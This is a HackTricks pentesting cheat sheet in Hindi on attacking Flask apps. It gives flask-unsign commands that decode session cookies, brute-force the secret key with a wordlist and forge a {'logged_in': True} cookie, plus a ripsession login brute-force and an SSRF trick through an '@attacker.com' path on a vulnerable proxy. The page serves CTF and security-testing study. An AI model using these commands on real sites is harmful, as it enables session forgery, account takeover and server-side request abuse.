Flask

Tip

AWS Hacking सीखें & अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE) assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।

HackTricks का समर्थन करें

संभवतः अगर आप CTF खेल रहे हैं तो एक Flask एप्लिकेशन आमतौर पर SSTI.

कुकीज़

डिफ़ॉल्ट cookie session नाम है session

डीकोडर

ऑनलाइन Flask कुकीज़ डीकोडर: https://www.kirsle.net/wizards/flask-session.cgi

मैनुअल

cookie का पहला हिस्सा पहले बिंदु (.) तक लें और उसे Base64 डिकोड करें:

echo "ImhlbGxvIg" | base64 -d

यह cookie भी password का उपयोग करके signed की जाती है

Flask-Unsign

secret keys का अनुमान लगाकर Flask एप्लिकेशन के session cookies को fetch, decode, brute-force और craft करने के लिए command-line tool।

Client Challenge

pip3 install flask-unsign
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

हस्ताक्षरकरण

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

पुराने (legacy) संस्करणों का उपयोग करके Signing

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

यह कमांड-लाइन टूल उन cookies का उपयोग करके वेबसाइटों पर brute-force करता है जिन्हें flask-unsign से तैयार किया गया है।

GitHub - Tagvi/ripsession: A command line tool to brute-force websites using cookies crafted with flask-unsign. \xc2\xb7 GitHub

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

This example sqlmap eval option का उपयोग करता है ताकि flask के लिए ज्ञात secret का उपयोग करके automatically sign sqlmap payloads किए जा सकें।

Flask Proxy से SSRF

In this writeup यह समझाया गया है कि Flask कैसे ‘@’ character से शुरू होने वाली request की अनुमति देता है:

GET @/ HTTP/1.1
Host: target.com
Connection: close

निम्नलिखित परिदृश्य में कौन सा:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

“@attacker.com” जैसा कुछ इनपुट करने की अनुमति दे सकता है, जिससे SSRF हो सकता है।

Tip

AWS Hacking सीखें & अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE) assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।

HackTricks का समर्थन करें